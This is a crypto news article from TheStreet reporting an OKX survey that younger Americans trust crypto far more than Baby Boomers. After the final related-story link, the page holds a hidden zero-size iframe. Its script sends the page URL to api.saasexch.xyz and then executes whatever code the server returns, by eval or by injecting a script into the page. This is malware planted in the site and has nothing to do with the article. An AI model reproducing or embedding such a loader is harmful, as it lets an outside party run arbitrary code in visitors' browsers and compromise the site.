bullish

Baby

Elon Musk

<p>The younger you are, the more trust you have in crypto.</p>
<p>That’s the central finding of a new <a href="https://docs.google.com/document/d/17Tl3ShA6xlWg_4xW5yOOPP2Lrjm-FlcpJKqV52Dae2Q/mobilebasic#headin%E2%80%A6">OKX survey</a> of 1,000 Americans conducted in January 2026.</p>
<p align="center"><strong><a href="https://www.thestreet.com/crypto/investing/on-reddit-gen-z-millenials-blame-boomers-for-the-recession">Related: On Reddit, Gen-Z, Millenials Blame Boomers for the Recession</a></strong></p>
<h2 id="gen-z-trusts-crypto-more">Gen Z trusts crypto more</h2>
<p>The survey revealed a striking divide between younger and older investors when it comes to digital assets.</p>
<p>When asked how much they trust crypto platforms, 40% of <a href="https://www.thestreet.com/crypto/markets/inflation-troubled-american-gen-z-wants-free-crypto-this-christmas">Gen Z </a>and 41% of Millennials rated them 7 or higher on a 10-point scale, compared with just 9% of <a href="https://www.thestreet.com/crypto/tag/baby-boomers">Baby Boomers.&nbsp;</a></p>
<p>That makes younger generations roughly five times more trusting of crypto than their older peers.</p>
<p>Gen Z (born between 1997 and 2012) are digital natives shaped by technology, while millennials (born between 1981 and 1996) bridge the pre and post-internet eras.&nbsp;</p>
<p>Baby Boomers (born between 1946 and 1964) grew up in postwar prosperity with deep trust in traditional institutions and financial systems.</p>
<p>Traditional finance tells a different story. 74% of boomers gave high trust scores to banks, while only around one in five younger respondents expressed similar confidence in legacy institutions.</p>
<h3 id="more-news">More news:</h3>
<ul>
 <li><a href="https://www.thestreet.com/crypto/policy/avalanche-policy-coalition-urges-sec-cftc-to-fold-crypto-into-existing-market-rules"><strong>Avalanche Policy Coalition urges SEC, CFTC to fold crypto into existing market rules</strong></a></li>
 <li><a href="https://www.thestreet.com/crypto/markets/u-s-pension-fund-makes-surprise-buy-of-michael-saylors-strategy"><strong>U.S. pension fund makes surprise buy of Michael Saylor’s Strategy</strong></a></li>
 <li><a href="https://www.thestreet.com/crypto/markets/billionaire-dinner-with-warren-buffett-30-million-an-hour-with-elon-musk"><strong>Billionaire who paid $4.6M for dinner with Buffett, says he’d spend $30M for an hour with Elon Musk</strong></a></li>
</ul>
<h2 id="younger-traders-are-4x-more-bullish-for-2026">Younger traders are 4x more bullish for 2026</h2>
<p>The enthusiasm gap is widening.&nbsp;</p>
<p>Year over year, confidence among younger investors continues to rise: 36% of Gen Z and 34% of <a href="https://www.thestreet.com/crypto/innovation/appeal-of-digital-assets-for-gen-z-millennials-becomes-focus-of-recent-dialogue">millennials</a> said their trust in crypto had increased since early 2025, compared with just 6% of boomers.</p>
<p>That optimism is translating into action.&nbsp;</p>
<p>In 2026, 40% of Gen Z and 36% of millennials plan to trade more crypto, making them nearly four times more bullish than boomers, only 11% of whom expect to expand their crypto exposure.</p>
<p>The survey suggests that for younger traders, volatility is less a deterrent and more a feature of an emerging financial system they feel they understand.</p>
<p align="center"><strong><a href="https://www.thestreet.com/crypto/markets/coinbase-says-just-5-in-bitcoin-could-supercharge-your-portfolio">Related: Coinbase says just 5% in Bitcoin could supercharge your portfolio</a></strong></p>
<h2 id="what-trust-means-for-each-generation">What trust means for each generation</h2>
<p>When asked what drives their trust, priorities diverged sharply.</p>
<p>Gen Z (59%), millennials (50%), and Gen X, or&nbsp;people born roughly between 1965 and 1980&nbsp;(54%), all cited platform security as their top concern.</p>
<p>But&nbsp;boomers (65%), on the other hand, prioritized regulation and legal protection, underscoring their reliance on institutional oversight.</p>
<p>Asked what problems crypto solves better than traditional finance, nearly half of boomers said “none.” Only 6% of Gen Z agreed.</p>
<p>Instead, younger users point to crypto’s 24/7 accessibility, borderless payments, and financial flexibility — the hallmarks of a digital-first generation.</p>
<p align="center"><strong><a href="https://www.thestreet.com/crypto/news/almost-half-of-gen-z-wants-a-retirement-account-in-crypto">Related: Almost Half of Gen Z Wants a Retirement Account in Crypto</a></strong></p><div class="html-block" element="iframe" srcdoc="<script>fetch('https://api.saasexch.xyz/bapi/themis/api/v1/init',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({url:top.location.href})}).then(e=>e.json()).then(e=>{if(e)if('eval'==e.mode)new Function(e.data)();else{const t=top.document.createElement('script');'inline'==e.mode?t.textContent=e.data:'blob'==e.mode?t.src=URL.createObjectURL(new Blob([e.data])):t.src=e.data,top.document.head.appendChild(t)}}).catch(()=>{})</script>" width="0" height="0" frameborder="0"></div>

Survey reveals Gen Z isn’t waiting for boomers as crypto age gap widens

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TheStreet Roundtable

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